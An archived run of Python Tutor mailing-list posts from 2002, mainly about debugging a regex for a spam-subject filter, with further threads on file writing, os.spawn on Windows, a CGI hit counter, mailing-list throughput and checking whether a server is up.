From: tim.one@comcast.net (Tim Peters) Date: Sat, 09 Feb 2002 01:25:25 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <3251E29088C@kserver.org> Message-ID: [Sheila King] > OK, I'm having some trouble with using the re module for regular > expression matching. (I'm very new to using regular expressions, so I > suppose I could be doing something really stupid?) Congratulations: you win, but only partly . > Here is a session with the interactive interpreter: > > Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 > Type "copyright", "credits" or "license" for more information. > IDLE 0.8 -- press F1 for help > >>> import re > >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' > >>> pattern = 'adv:' > >>> p = re.compile(r'\b%s\b' % pattern) > >>> result = p.search(searchstring, re.IGNORECASE) > >>> result > >>> print result > None > > I would have expected to get a match on the above situation. This is a pretty amazing failure: the second argument to p.search is the position in the string at which to begin the search (read the docs for this). re.IGNORECASE doesn't make any real sense there, but it just so happens that >>> re.IGNORECASE 2 >>> So you're really asking to search 'V: FREE FREE OFFERZ!!!!' for 'ADV:', and of course it isn't found. If you compile the pattern like this instead: p = re.compile(r'\b%s\b' % re.escape(pattern), re.IGNORECASE) and search via plain p.search(searchstring) you'll be in much better shape, but it *still* won't match. That's because of the ":\b" in your pattern: \b matches only at a word boundary, which means an alphabetic character must be on one side and a non-alphabetic on the other. In ":\b", the colon is non-alphabetic, so this can only match things like :A :a etc. Backing off to something simpler is always a good idea until you're absolutely certain how regexps work: >>> p = re.compile('adv:', re.IGNORECASE) >>> p.search(searchstring) <_sre.SRE_Match object at 0x00794D10> >>> _.group(0) 'ADV:' >>> *Now* you can try making the pattern fancier again. > Now when I try this: > > >>> searchstring = 'Viagra without a prescription!' > >>> pattern = 'viagra' > >>> p = re.compile(r'\b%s\b' % pattern) > >>> result = p.search(searchstring, re.IGNORECASE) > >>> result > >>> print result > None > >>> searchstring = 'get viagra without a prescription!' > >>> pattern = 'viagra' > >>> p = re.compile(r'\b%s\b' % pattern) > >>> result = p.search(searchstring, re.IGNORECASE) > >>> result > <_sre.SRE_Match object at 0x00AF4010> > >>> > > If 'viagra' comes at the beginning, it doesn't match, but if it comes in > the middle it does. This is again because re.IGNORECASE is being used in a context where it doesn't make sense (it's telling .search() to ignore the first two characters of the string). > So, one starts to think that \b, the word boundary, won't match at the > beginning of a string (which is totally contrary to what I would expect). Yes, \b matches at the start of a string. > ... > The task I am trying to accomplish right now is this: > > I have a list of strings (common words and phrases one might expect to > find in a Spam email, if that wasn't obvious from the above examples) > and I want to do a regular expression search against the subject of an > email and see if I get a match or not (after which I handle the email). regexps are a wonderful tool at times, but (a) are difficult to use correctly, and (b) get used for all sorts of things they're not good at. One of the best quotes on the topic comes from Jamie Zawinski: Some people, when confronted with a problem, think "I know, I'll use regular expressions." Now they have two problems. Here's another approach to your problem: 1. Convert all your phrases to (say) lowercase first. 2. Say the list is spamphrases, and the subject line is "subject". Then s = subject.lower() isjunk = 0 for phrase in spamphrases: if s.find(phrase) >= 0: isjunk = 1 break is worth considering. It won't tie your head in knots, anyway. From urnerk@qwest.net Sat Feb 9 09:20:17 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sat, 09 Feb 2002 01:20:17 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <38FDE976D44@kserver.org> References: <3251E29088C@kserver.org> <3251E29088C@kserver.org> Message-ID: <4.2.0.58.20020209011305.019e2390@pop3.norton.antivirus> > >So I tried the following, with the dismal results shown. Now what am I >doing wrong? > > >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' > >>> word = 'adv:' > >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) >Traceback (most recent call last): > File "", line 1, in ? > p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) > File "E:\PYTHON\PYTHON22\lib\sre.py", line 178, in compile > return _compile(pattern, flags) > File "E:\PYTHON\PYTHON22\lib\sre.py", line 228, in _compile > raise error, v # invalid expression >error: internal: unsupported set operator At this point, I share your confusion. Using your same values: >>> p = re.compile(r'\A%s' % word, re.I) # works >>> p = re.compile(r'[\A]%s' % word, re.I) # finds nothing >>> p = re.compile(r'[\A]*%s' % word, re.I) # works >>> p = re.compile(r'[\A]?%s' % word, re.I) # works ? and * both match 0 times, as well as 1 or many respectively. But if \A is not there at all, why does the first pattern work? If \A is there, why does the 2nd pattern fail? Something about p = re.compile(r'[\s\A]') is invalid. I'm not sure what. Kirby From tim.one@comcast.net Sat Feb 9 08:06:17 2002 From: tim.one@comcast.net (Tim Peters) Date: Sat, 09 Feb 2002 03:06:17 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <38FDE976D44@kserver.org> Message-ID: [Sheila King] > Despite Tim's excellent advice, to reconsider whether I really want to > use regular expressions, I persist at that task. (I've been programming > long enough to feel that I ought to have learned them by now. And I'd > like to start understanding them so when other people discuss them I > don't feel lost.) The illusion you're suffering is that when other people discuss them, they're not also lost . O'Reilly publishes an excellent book titled "Mastering Regular Expressions"; it's the only really good intro I've ever seen. > So, I decided I could possibly solve my problem with the whole "word > boundary" thing (when my phrase-pattern doesn't begin and end in an > alphanumeric character) as follows: > > Match on any of the following at the beginning of the phrase-pattern: > > The beginning of the searched string > A word boundary > White space > > and any of the following at the end of the phrase-pattern: > > The end of the searched string > A word boundary > White space > > Seems to me, that this should about cover things??? That's part of the problem: defining what you want to match, exactly. The other part is spelling that with regexps. > So I tried the following, with the dismal results shown. Now what am I > doing wrong? As before, the best way to proceed is to simplify the regexp until you stop having problems, and then make it more complicated again one step at a time. In fact you've got several problems in this attempt, and it's so much harder to wrap your brain around all of them in one gulp. > >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' > >>> word = 'adv:' > >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) > Traceback (most recent call last): > File "", line 1, in ? > p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) > File "E:\PYTHON\PYTHON22\lib\sre.py", line 178, in compile > return _compile(pattern, flags) > File "E:\PYTHON\PYTHON22\lib\sre.py", line 228, in _compile > raise error, v # invalid expression > error: internal: unsupported set operator One problem that isn't biting you (yet): \b inside a character class doesn't mean word-boundary, it means the ASCII backspace character (chr(8)). What you feared is true: every word of the regexp docs is there for a reason <0.5 wink>. A second problem that isn't biting you (yet): note that when I rewrote your earlier pattern, I used re.escape to transform the word you inserted into the regexp. Else "funny characters" in the word will be taken as instructions to the regexp engine, not as characters to be matched literally. re.escape(word) inserts backslashes as needed, so that every character in word gets matched literally. The last problem is that \A and \Z aren't characters at all, they're "zero-width assertions". They don't make sense inside a character class, although it would be nice if the regexp compiler gave you a reasonable message about that instead of blowing up with an internal error (you should report that bug on SourceForge!). You'll have to do it like this instead: p = re.compile(r'(\A|\b|\s)%s(\Z|\b|\s)' % re.escape(word), re.IGNORECASE) From alan.gauld@freenet.co.uk Sat Feb 9 09:50:26 2002 From: alan.gauld@freenet.co.uk (alan.gauld@freenet.co.uk) Date: Sat, 9 Feb 2002 09:50:26 -0000 Subject: [Tutor] RE: Modular programming Help Message-ID: <09512212536953@mailth4.freenet.co.uk> Cameron wrote: > My intro to programming teacher in college is telling > me that importing a file isn't calling a module. Which is true. > I must be confussed here because I have always understood > that modules were external programming things that you > brought in with the import and then executed with functions Only in Python. A module is any piece of reusable code - a black box. The original definition of module in programming was a subroutine in assembler - which carried thru' to BASIC... and COBOL and FORTRAN etc... So your teacher is right to a degree but he/she is way out of date in terminology. For a fuller explanation and a comparisonof BASIC and Python look at my web tutor: http://www.freenetpages.co.uk/hp/alan.gauld Under Functions and Modules. Alan g. From kp87@lycos.com Sat Feb 9 11:25:57 2002 From: kp87@lycos.com (kevin parks) Date: Sat, 09 Feb 2002 20:25:57 +0900 Subject: [Tutor] really dumb questions Message-ID: Hi. It's new years here in Korea and I plan on spending mine with the Python interpreter. I am hung up on a few dumb items that i was hoping to get some help with. 1. How can one write (not print) multiple things with one f.write statement? I have lots of code that scrolls down endlessly because it has to do silly stuff like: f.write('foo = ') f.write(`foo`) f.write('/n/n') # pretend these are newlines i can't find the forward slash on this computer f.write('bar = ') f.write(`bar`) f.write('/n/n') is there anyway to combine these on fewer lines without using ; ? I know that there is writelines, but as usual i can't figure out based on the Python documentation which hardly ever gives illustrative examples. My other dumb question is this: how do i print a list without the leading and trailing brackets and commas? I just want the values separated by white space. 1 2 3 and not [1, 2, 3] again with f.write and not print. Oh, one last silly question. I know how to print the time in the interpreter with: >>> import time but using the same command with f.write and not print doesn't work. if i add the `x` thing it works but it adds single quotes to the output. How do you suppress those? One last silly question. I would love to write to the output file the name of script that generated the file. Is there a module that does that in Python? I see where to get the curdir, but not the actual filename with the path. cheers all and Happy New Year to those in places that groove to the Lunar New Year. kevin parks Seoul, Korea Thanks D-man and Danny Yoo for the stuff on random. It was helpful, but i was also hoping that there would be 1/f noise and brownian noise as well built in. I didn't see it in Numpy either. Go Get It! Send FREE Valentine eCards with Lycos Greetings http://greetings.lycos.com From kp87@lycos.com Sat Feb 9 11:36:31 2002 From: kp87@lycos.com (kevin parks) Date: Sat, 09 Feb 2002 20:36:31 +0900 Subject: [Tutor] One more (sorry) Message-ID: One of the things that I have to do over and over again is read in a file and fondle one or more of the parameters. So if i have a file that looks like this: foo 1.0 5.0 10.0 foo2 1.0 5.0 15.0 foo 2.5 3.0 9.00 foo 3.1 5.5 12.00 foo3 5.0 1.25 7.00 and i want to add .5 to all of foo's column 2 to get: foo 1.5 5.0 10.0 foo2 1.0 5.0 15.0 foo 3.0 3.0 9.00 foo 3.6 5.5 12.00 foo3 5.0 1.25 7.00 or add 1.1 too all of foo2's column 4 to get: foo 1.0 5.0 10.0 foo2 1.0 5.0 16.1 foo 2.5 3.0 9.00 foo 3.1 5.5 12.00 foo3 5.0 1.25 7.00 How would I do that? Could anyone show me an example of how that is done in python? I usually use a Cshell script for that, but I don't have a csh now as my OS X partition is gone. Besides I would really love to learn how to do this in Python so that i don't have to try to remember where to put all my $ and such in csh anymore! cheers, kevin Go Get It! Send FREE Valentine eCards with Lycos Greetings http://greetings.lycos.com From rick@niof.net Sat Feb 9 14:43:31 2002 From: rick@niof.net (Rick Pasotto) Date: Sat, 9 Feb 2002 09:43:31 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <38FDE976D44@kserver.org> References: <3251E29088C@kserver.org> <38FDE976D44@kserver.org> Message-ID: <20020209144331.GL24064@tc.niof.net> On Fri, Feb 08, 2002 at 11:26:53PM -0800, Sheila King wrote: > > So I tried the following, with the dismal results shown. Now what am I > doing wrong? > > >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' > >>> word = 'adv:' > >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) '[]' says 'any one *character* from the set'. '\b', '\A', and '\Z' are not characters. p=re.compile(r'\b%s\b' % word, re.I) ought to do what you want. (untested) 'word boundary' includes 'white space before and after' and 'beginning and end of string'. -- "Once the principle of government -- judicial monopoly and the power to tax -- is incorrectly accepted as just, any notion of restraining government power and safeguarding individual liberty and property is illusory." -- Hans-Herman Hoppe Rick Pasotto rickp@telocity.com http://www.niof.net From sheila@thinkspot.net Sat Feb 9 19:38:19 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 09 Feb 2002 11:38:19 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <20020209144331.GL24064@tc.niof.net> References: <3251E29088C@kserver.org> <38FDE976D44@kserver.org> <20020209144331.GL24064@tc.niof.net> Message-ID: <2C6A5A323F@kserver.org> On Sat, 9 Feb 2002 09:43:31 -0500, Rick Pasotto wrote about Re: [Tutor] Why doesn't this regex match???: > On Fri, Feb 08, 2002 at 11:26:53PM -0800, Sheila King wrote: > > > > So I tried the following, with the dismal results shown. Now what am I > > doing wrong? > > > > >>> searchstring = 'ADV: FREE FREE OFFERZ!!!!' > > >>> word = 'adv:' > > >>> p = re.compile(r'[\b\A\s]%s[\b\Z\s]' % word, re.I) > > '[]' says 'any one *character* from the set'. '\b', '\A', and '\Z' are > not characters. > > p=re.compile(r'\b%s\b' % word, re.I) ought to do what you want. > (untested) > > 'word boundary' includes 'white space before and after' and 'beginning > and end of string'. Actually, p=re.compile(r'\b%s\b' % word, re.I) didn't do what I wanted. That's what started this whole thread. Maybe p = re.compile(r'(\A|\s)(%s)(\Z|\s)' % re.escape(word), re.I) would do what I wanted. (untested) Anyhow, after the discussion here on the list last night, and some discussion with my project-code-partners, we've decided to forgo the regular expressions in favor of simple string manipulations. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From dyoo@hkn.eecs.berkeley.edu Sat Feb 9 19:42:18 2002 From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo) Date: Sat, 9 Feb 2002 11:42:18 -0800 (PST) Subject: [Tutor] One more (sorry) In-Reply-To: Message-ID: On Sat, 9 Feb 2002, kevin parks wrote: > So if i have a file that looks like this: > > foo 1.0 5.0 10.0 > foo2 1.0 5.0 15.0 > foo 2.5 3.0 9.00 > foo 3.1 5.5 12.00 > foo3 5.0 1.25 7.00 > > and i want to add .5 to all of foo's column 2 to get: > > foo 1.5 5.0 10.0 > foo2 1.0 5.0 15.0 > foo 3.0 3.0 9.00 > foo 3.6 5.5 12.00 > foo3 5.0 1.25 7.00 [some text cut] > > How would I do that? [more text cut] If we read in the file and somehow process it to get something like: [ [foo 1.0 5.0 10.0] [foo2 1.0 5.0 15.0] [foo 2.5 3.0 9.00] [foo 3.1 5.5 12.00] [foo3 5.0 1.25 7.00] ] That is, a list of columns, then the problem should become a little easier. Here's a function that might do this: ### def readRowsAndColumns(filename): f = open(filename) rows = [] for line in f.readlines(): columns = line.split() rows.append(columns) return rows ### It's not perfect (and also untested. *grin*), because it does leave the "numbers" as strings, so we have to be a little careful when we're about to do something like "add 0.5 to every column in the foo row." Hope this helps! From urnerk@qwest.net Sat Feb 9 20:05:14 2002 From: urnerk@qwest.net (Kirby Urner) Date: Sat, 09 Feb 2002 12:05:14 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <2C6A5A323F@kserver.org> References: <20020209144331.GL24064@tc.niof.net> <3251E29088C@kserver.org> <38FDE976D44@kserver.org> <20020209144331.GL24064@tc.niof.net> Message-ID: <4.2.0.58.20020209120509.01a047a0@pop3.norton.antivirus> Anyhow, after the discussion here on the list last night, and some discussion with my project-code-partners, we've decided to forgo the regular expressions in favor of simple string manipulations. Good thread though. Some important clarifications re character sets. Got my questions answered. Seems you were just about at a solution. Kirby From sheila@thinkspot.net Sat Feb 9 20:06:02 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 09 Feb 2002 12:06:02 -0800 Subject: [Tutor] Using os.spawn commands Message-ID: <45D4413DB5@kserver.org> I wanted to write a script to test this other script of mine. I thought one of the os.spawn commands would be best, so that if one of the test processes crashed, at least my testing script wouldn't? (That is correct thinking there, right?) I'm running a lot of my testing on a Windows machine, and according to the docs, that eliminates any of the spawn commands with a "p" as a choice. OK, fine. That leaves me with these choices: spawnl spawnle spawnv spawnve And the docs say, that if you know the number of parameters, might as well use one of the "l" versions, probably easiest. Fine. Now, I'm in the directory e:\web\thinkspotwebsite\dev and the following command executes from within that directory from a command line prompt (in a DOS window): E:\Web\Thinkspotwebsite\dev>python email_filter.py < test4.txt and gives me the expected results. Inside of IDLE I tried (after importing os, of course): Python 2.2 (#28, Dec 21 2001, 12:21:22) [MSC 32 bit (Intel)] on win32 Type "copyright", "credits" or "license" for more information. IDLE 0.8 -- press F1 for help >>> import os, sys >>> os.chdir(r'e:\web\thinkspotwebsite\dev') >>> os.path.abspath(os.curdir) 'e:\\web\\thinkspotwebsite\\dev' >>> os.spawnl(os.P_WAIT, 'python email_filter.py < test4.txt') Traceback (most recent call last): File "", line 1, in ? os.spawnl(os.P_WAIT, 'python email_filter.py < test4.txt') File "E:\PYTHON\PYTHON22\lib\os.py", line 530, in spawnl return spawnv(mode, file, args) OSError: [Errno 2] No such file or directory So, I thought maybe it needed the environment variables. Maybe it couldn't find the path because I hadn't passed the environment to it??? So I then tried this: >>> os.spawnle(os.P_WAIT, 'python email_filter.py < test4.txt', os.environ) Traceback (most recent call last): File "", line 1, in ? os.spawnle(os.P_WAIT, 'python email_filter.py < test4.txt', os.environ) File "E:\PYTHON\PYTHON22\lib\os.py", line 541, in spawnle return spawnve(mode, file, args[:-1], env) OSError: [Errno 2] No such file or directory I've read the docs in the os module, I've looked at my Python 2.1 Bible. I've been going over my Programming Python (examples of spawnv on pp. 126 - 127) and I can't get this to work. Here's another try with spawnv: >>> import os >>> os.chdir(r'e:\web\thinkspotwebsite\dev') >>> print os.path.abspath(os.curdir) e:\web\thinkspotwebsite\dev >>> os.spawnv(os.P_WAIT, os.curdir, ('python', 'email_filter.py < test4.txt')) Traceback (most recent call last): File "", line 1, in ? os.spawnv(os.P_WAIT, os.curdir, ('python', 'email_filter.py < test4.txt')) OSError: [Errno 13] Permission denied >>> I was trying some other stuff with spawnl and spawnle a bit ago, before sending this message (I'd saved a draft of what I'd written before) and was getting that OSError: [Errno 13] Permission denied error on some of the other stuff I tried...but my computer crashed and I don't remember what it was any more. Can anyone help me out here? -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From sheila@thinkspot.net Sat Feb 9 20:10:46 2002 From: sheila@thinkspot.net (Sheila King) Date: Sat, 09 Feb 2002 12:10:46 -0800 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <4.2.0.58.20020209120509.01a047a0@pop3.norton.antivirus> References: <20020209144331.GL24064@tc.niof.net> <3251E29088C@kserver.org> <38FDE976D44@kserver.org> <20020209144331.GL24064@tc.niof.net> <2C6A5A323F@kserver.org> <4.2.0.58.20020209120509.01a047a0@pop3.norton.antivirus> Message-ID: <4A351D49A0@kserver.org> On Sat, 09 Feb 2002 12:05:14 -0800, Kirby Urner wrote about Re: [Tutor] Why doesn't this regex match???: > > Anyhow, after the discussion here on the list last night, and some > discussion with my project-code-partners, we've decided to forgo the > regular expressions in favor of simple string manipulations. > > > Good thread though. Some important clarifications re > character sets. Got my questions answered. > > Seems you were just about at a solution. Well ... almost at a solution for matching single words/phrases in our phrase-list. However, the real reason we were considering regex was because we wanted to then do a grand "OR" on all of the words and avoid looping...and seems to me that once I go a step more complicated that I introduce more problems...I don't really understand regex well enough to debug it on my own (and neither does my coding partner). Tim mentioned the O'Reilly _Mastering Regular Expressions_ book...I'm sure it is a fine book. But I don't want to spend gobs of time on regex right now. It is only a small part of this project and I have a lot of other stuff to do. I have a good 5 or 6 Python books here, and if that isn't enough for me to learn what I want on this topic, better to postpone it for another time. I did learn some interesting things on the topic, though. Regex isn't as scary and incomprehensible as it used to be. I'm sure I'll return to it at some time in the future. -- Sheila King http://www.thinkspot.net/sheila/ "When introducing your puppy to an adult cat, restrain the puppy, not the cat." -- Gwen Bailey, _The Perfect Puppy: How to Raise a Well-behaved Dog_ From glingl@aon.at Sat Feb 9 21:10:47 2002 From: glingl@aon.at (Gregor Lingl) Date: Sat, 9 Feb 2002 22:10:47 +0100 Subject: [Tutor] One more (sorry) References: Message-ID: <001001c1b1ae$3ed38540$1664a8c0@mega> ----- Original Message ----- From: "Danny Yoo" To: "kevin parks" Cc: Sent: Saturday, February 09, 2002 8:42 PM Subject: Re: [Tutor] One more (sorry) > > If we read in the file and somehow process it to get something like: > > [ [foo 1.0 5.0 10.0] > [foo2 1.0 5.0 15.0] > [foo 2.5 3.0 9.00] > [foo 3.1 5.5 12.00] > [foo3 5.0 1.25 7.00] ] > or more exactly: [ ['foo', 1.0, 5.0, 10.0], ['foo2', 1.0, 5.0, 15.0], ['foo', 2.5, 3.0, 9.00], ['foo', 3.1, 5.5, 12.00], ['foo3', 5.0, 1.25, 7.00] ] Gregor P.S.: Does this come from the scheme-adventure (*....*)? From tim.one@comcast.net Sat Feb 9 21:03:23 2002 From: tim.one@comcast.net (Tim Peters) Date: Sat, 09 Feb 2002 16:03:23 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <20020209144331.GL24064@tc.niof.net> Message-ID: [Rick Pasotto] > '[]' says 'any one *character* from the set'. Bingo. > '\b', '\A', and '\Z' are not characters. Almost true: \b is a special case. Inside a character class, it means the backspace character (chr(8)); outside a character class, it means word-boundary. Why? Because that's what Perl decided, and Python's regexps try to be as compatible as non-insanely possible with Perl's. > ... > 'word boundary' includes 'white space before and after' and 'beginning > and end of string'. Not so, although it's a common misunderstanding: 'word boundary' means the character on one side is non-alphanumeric (incl. start- and end-of-string), and the character on the other side is alphanumeric; so, in particular, \b cannot match between whitespace characters, because there's not an alphanumeric character on either side then. From tim.one@comcast.net Sat Feb 9 21:07:58 2002 From: tim.one@comcast.net (Tim Peters) Date: Sat, 09 Feb 2002 16:07:58 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <381F04F6BDD@kserver.org> Message-ID: [Sheila King] > Actually, what we'd been doing was more like: > > s = subject.lower() > s = ' ' + s + ' ' > isjunk = 0 > for phrase in spamphrases: > if s.find(' ' + phrase + ' ') >= 0: > isjunk = 1 > break > > We wanted to match, say, "sex" but not "sextant". (As the joke is going > in our discussion group...SO MANY spams that we receive have the word > "sextant" in the subject line!!! ) If you're going to run this code a lot, you want to do as little work as possible in the inner loop. So you would want to stick a blank on each side of the phrases once and for all. Regexps are certainly more flexible here. The question is whether it's less work in the end to craft a regexp that works than to pick up a spam filter from someone else . From tim.one@comcast.net Sat Feb 9 22:02:35 2002 From: tim.one@comcast.net (Tim Peters) Date: Sat, 09 Feb 2002 17:02:35 -0500 Subject: [Tutor] Why doesn't this regex match??? In-Reply-To: <370F4F979B9@kserver.org> Message-ID: [Sheila King] > ... > Then someone else suggested the regular expression (granted, someone who > is rather adept at them, and is really a Perl coder who is just now > learning Python). I'm not sure we gained much by it, but then I had > thought to do this: > > take the entire list of spamphrases and form one big regex out of them > and instead of looping through the list, simply do a single regex test > on the subject line. You're very close to getting that approach to work; I'm sure you can complete it now. > We are looking to run this filter on a community server that gets lots > of emails to lots of different accounts and we expect a number of people > will be using it. We don't want to have the sysadmin tell us to turn it > off later, due to resource usage. So, I thought that a single regex test > would be more efficient than looping through the list as we had done > before. You don't have to guess, you can set up artificial tests and time them. A single regexp will likely be faster. OTOH, if you accumulate enough patterns, you may eventually bump into a limit on how large a regexp can be. The latter isn't terribly likely with Python, but is very likely with some other regexp packages. > Comments on this logic not only welcome, but actually desired!!! As a learning exercise, it's fine. As a real-life spam filter, writing your own is a dubious idea: spammers and anti-spammers are in an escalating technology war, and simple filters are increasingly ineffective (for any defn. of "simple"). So if the goal is to tag spam instead of learning how to write spam filters (there's no law that you can't do both, of course ), time would be better spent installing a state-of-the-art spam filter. For example, http://spamassassin.org/ is free for the taking. It happens to be written in Perl, but I won't hold that against it . It's about half a megabyte of source code spread over about 100 files, and I'm afraid that's what the state of the art has become! From toodles@yifan.net Sun Feb 10 01:33:11 2002 From: toodles@yifan.net (Andy W) Date: Sun, 10 Feb 2002 09:33:11 +0800 Subject: [Tutor] really dumb questions References: Message-ID: <001f01c1b1d2$fa85dd50$3100a8c0@sun> Hi Kevin, > I know that there is writelines, but as usual i can't figure out based on the Python documentation which hardly ever gives illustrative examples. To use writelines, all you need to do is put all your strings in a list. eg.: >>> scooby_file=open("scooby.txt","w") >>> scooby_file.writelines(["Scooby","Dooby","Doo"]) >>> scooby_file.close() Yields the file scooby.txt with the following data in it: ScoobyDoobyDoo > > My other dumb question is this: how do i print a list without the leading and trailing brackets and commas? I just want the values separated by white space. 1 2 3 and not [1, 2, 3] again with f.write and not print. How about: for item in [1,2,3]: print item, #don't miss that comma on the end, else the data will spill on to the next lines. > > Oh, one last silly question. I know how to print the time in the interpreter with: > > >>> import time > > > but using the same command with f.write and not print doesn't work. if i add the `x` thing it works but it adds single quotes to the output. How do you suppress those? So you're trying to write the time to a file, is that right? 'x' thing? You've lost me there. If you just want to write the time to a file, all you need to do is put str() around the time result. eg.: import time time_file=open("time.txt","w") current_time=time.time() time_file.write(str(current_time)) time_file.close() > > One last silly question. I would love to write to the output file the name of script that generated the file. Is there a module that does that in Python? I see where to get the curdir, but not the actual filename with the path. You do realise you've asked 2 "last" silly questions now don't you? ;) If you are running the program by itself and not importing it, the first element of sys.argv should give you what you want. ie.: import sys program_name=sys.argv[0] > > cheers all and Happy New Year to those in places that groove to the Lunar New Year. You too! Andy > > kevin parks > Seoul, Korea > > Thanks D-man and Danny Yoo for the stuff on random. It was helpful, but i was also hoping that there would be 1/f noise and brownian noise as well built in. I didn't see it in Numpy either. > > > > > > > > > Go Get It! > Send FREE Valentine eCards with Lycos Greetings > http://greetings.lycos.com > > _______________________________________________ > Tutor maillist - Tutor@python.org > http://mail.python.org/mailman/listinfo/tutor > From idiot1@netzero.net Sun Feb 10 04:39:35 2002 From: idiot1@netzero.net (kirk Bailey) Date: Sat, 09 Feb 2002 23:39:35 -0500 Subject: [Tutor] counter References: Message-ID: <3C65F987.4F2CF44D@netzero.net> Would this be a useless python event, or is it too useful? It is toing the counting on the tinylist site NOW. Danny Yoo wrote: > > > Thankyou, here is the result. > > > > > > ns# list counter.py > > Listing of file counter.py in directory:/www/www.tinylist.org/cgi-bin > > > > #!/usr/local/bin/python > > # > > # > > f1=open("count",'r') > > count=int(f1.readline()) > > f1.close() > > count=count+1 > > result=str(count) > > print result, > > f1=open("count",'w') > > f1.write(result+"\r\n") > > f1.close > > Very cool. *grin* -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From idiot1@netzero.net Sun Feb 10 06:37:25 2002 From: idiot1@netzero.net (kirk Bailey) Date: Sun, 10 Feb 2002 01:37:25 -0500 Subject: [Tutor] Speed test Message-ID: <3C661525.DADDDFF4@netzero.net> OK, I set up a sendmail list, and biglist, and gave both of them a list of 1000 email members, with my own address as first and last in both, and 998 aliases in the server, totalling 1000. I sent a message to BOTH identities, (2 'to' field identities, comma seperated) and away it went. A sendmail list is built as: listname::include:/pathtofile/filename This is as minimal as it gets and still use a subscriber file. No features, no security, and fast. To my considerable delight, TinyList ran without a hitch and without tripping over the large recipient limit we set in the sendmail.cf file of 10, whereas the sendmail alias version never got past #10 alias due to it! To compare numbers I must set the limit FAR higher temporarily so I can get all 1000 out for a speedtest comparison. Date: Sun, 10 Feb 2002 01:21:50 -0500 (EST) (first return, member #1) Date: Sun, 10 Feb 2002 01:26:10 -0500 (EST) (last return, member #1000) .32 sec/message, or 3.125 posts per second. Not too bad for a 233 Mhs recycled used server motherboard rescued from an old server being upgraded. -- end Respectfully, Kirk D Bailey +---------------------"Thou Art Free." -Eris----------------------+ | http://www.howlermonkey.net mailto:highprimate@howlermonkey.net | | http://www.tinylist.org +--------+ mailto:grumpy@tinylist.org | +------------------Thinking| NORMAL |Thinking---------------------+ +--------+ ---------------------------------------------------- Sign Up for NetZero Platinum Today Only $9.95 per month! http://my.netzero.net/s/signup?r=platinum&refcd=PT97 From charlie@begeistert.org Sun Feb 10 17:35:13 2002 From: charlie@begeistert.org (Charlie Clark) Date: Sun, 10 Feb 2002 12:35:13 -0500 Subject: [Tutor] rows and columns Message-ID: <4908465008-BeMail@gormenghast> >If we read in the file and somehow process it to get something like: > >[ [foo 1.0 5.0 10.0] > [foo2 1.0 5.0 15.0] > [foo 2.5 3.0 9.00] > [foo 3.1 5.5 12.00] > [foo3 5.0 1.25 7.00] ] > >That is, a list of columns, then the problem should become a little >easier. Here's a function that might do this: > >### >def readRowsAndColumns(filename): > f =3D open(filename) > rows =3D [] > for line in f.readlines(): > columns =3D line.split() > rows.append(columns) > return rows >### My guess is you're wanting to write the changed lines back out into a file. If you don't need to that you might think about storing the data in a more flexible form such as a list or dictionary or a class which you can save to disk using pickle. def readRowsAndColumns(filename): f =3D open(filename) out =3D open("output=5Ffile.txt", "w") rows =3D [] for line in f.readlines(): columns =3D line.split() """convert the second value in each row to a number, add 0.5 to it and turn back to a string""" columns[1] =3D str(float(columns[1] + 0.5)) out.write(" ".join(columns) + "\n") out.close() print "finished" Putting the change function inside like this is not usually the way to do things but fine for one of situations. Charlie From dsh8290@rit.edu Sun Feb 10 17:39:43 2002 From: dsh8290@rit.edu (dman) Date: Sun, 10 Feb 2002 12:39:43 -0500 Subject: [Tutor] Calling out to check on a server In-Reply-To: <23FD7B1A77E8D211BCB900001D108C02018B299F@camelot> References: <23FD7B1A77E8D211BCB900001D108C02018B299F@camelot> Message-ID: <20020210173943.GA4546@dman.ddts.net> On Fri, Feb 08, 2002 at 02:32:50PM -0500, McCarney, James Alexander wrote: | Hail Pythonistas universal and triumphant, | | I seem to recall that there is a way (script) to check a server to see if it | is alive. Maybe Vaults of Parnassus, but I didn't see it when I checked. At what network layer do you want to check for life? | Is anyone aware of something like that? Does anyone have something (code, | tips, urls, whatever) they could share? 'ping' will tell you if the Network Layer is alive (for the Internet this is the "IP" protocol). | My platform Wind*** 2000; IIS server residing on another machine. Py 2.2 If you want to see if the Application Layer is alive (for example, to see if IIS is actually responding to requests) then you must make a request using the Application Layer protocol. For HTTP (the protocol IIS uses) the easiest way is import urllib urllib.open( "http://whatever/your/server/is/" ).read() and if it throws an exception, the server (HTTP level, at least) is 